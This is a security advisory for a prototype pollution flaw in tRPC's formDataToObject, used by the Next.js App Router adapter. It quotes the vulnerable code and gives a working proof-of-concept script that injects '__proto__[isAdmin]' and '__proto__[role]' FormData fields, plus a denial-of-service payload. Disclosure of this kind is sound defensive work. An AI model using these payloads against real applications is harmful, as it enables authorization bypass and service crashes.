CVE-2025-68130
tRPC has possible prototype pollution in `experimental_nextAppDirCaller`
描述
> Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`. ## Summary A Prototype Pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts. ## Affected Versions - **Package:** `@trpc/server` - **Affected Versions:** >=10.27.0 - **Vulnerable Component:** `formDataToObject()` in `src/unstable-core-do-not-import/http/formDataToObject.ts` ## Vulnerability Details ### Root Cause The `set()` function in `formDataToObject.ts` recursively processes FormData field names containing bracket/dot notation (e.g., `user[name]`, `user.address.city`) to create nested objects. However, it does **not** validate or sanitize dangerous keys like `__proto__`, `constructor`, or `prototype`. ### Vulnerable Code ```typescript // packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts function set(obj, path, value) { if (path.length > 1) { const newPath = [...path]; const key = newPath.shift(); // ← No validation of dangerous keys const nextKey = newPath[0]; if (!obj[key]) { // ← Accesses obj["__proto__"] which returns Object.prototype obj[key] = isNumberString(nextKey) ? [] : {}; } set(obj[key], newPath, value); // ← Recursively pollutes Object.prototype return; } // ... } export function formDataToObject(formData) { const obj = {}; for (const [key, value] of formData.entries()) { const parts = key.split(/[\.\[\]]/).filter(Boolean); // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"] set(obj, parts, value); } return obj; } ``` ### Attack Vector When a user submits a form to a tRPC mutation using Next.js Server Actions, the `nextAppDirCaller` adapter processes the FormData: ```typescript // packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89 if (normalizeFormData && input instanceof FormData) { input = formDataToObject(input); // ← Vulnerable call } ``` An attacker can craft FormData with malicious field names: ```javascript const formData = new FormData(); formData.append("__proto__[isAdmin]", "true"); formData.append("__proto__[role]", "superadmin"); ``` When processed, this pollutes `Object.prototype`: ```javascript {}.isAdmin // → "true" {}.role // → "superadmin" ``` ## Proof of Concept ```bash # Step 1: Create the project directory mkdir trpc-vuln-poc cd trpc-vuln-poc # Step 2: Initialize npm npm init -y # Step 3: Install vulnerable tRPC npm install @trpc/[email protected] # Step 4: Create the test file ``` --- ### Test.js ```javascript const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import'); console.log("=== PoC Prototype Pollution en tRPC ===\n"); console.log("[1] Estado inicial:"); console.log(" {}.isAdmin =", {}.isAdmin); const fd = new FormData(); fd.append("__proto__[isAdmin]", "true"); fd.append("__proto__[role]", "superadmin"); fd.append("username", "attacker"); console.log("\n[2] FormData malicioso:"); console.log(' __proto__[isAdmin] = "true"'); console.log(' __proto__[role] = "superadmin"'); console.log("\n[3] Llamando formDataToObject()..."); const result = formDataToObject(fd); console.log(" Resultado:", JSON.stringify(result)); console.log("\n[4] Después del ataque:"); console.log(" {}.isAdmin =", {}.isAdmin); console.log(" {}.role =", {}.role); const user = { id: 1, name: "john" }; console.log("\n[5] Impacto en autorización:"); console.log(" Usuario normal:", JSON.stringify(user)); console.log(" user.isAdmin =", user.isAdmin); if (user.isAdmin) { console.log("\n VULNERABLE - Authorization bypass exitoso!"); } else { console.log("\n ✓ Seguro"); } ``` ## Impact ### Authorization Bypass (HIGH) Many applications check user permissions using property access: ```javascript // Vulnerable pattern if (user.isAdmin) { // Grant admin access } ``` After pollution, **all objects** will have `isAdmin: "true"`, bypassing authorization. ### Denial of Service (MEDIUM) Polluting commonly used property names can crash applications: ```javascript formData.append("__proto__[toString]", "not_a_function"); // All subsequent .toString() calls will fail ```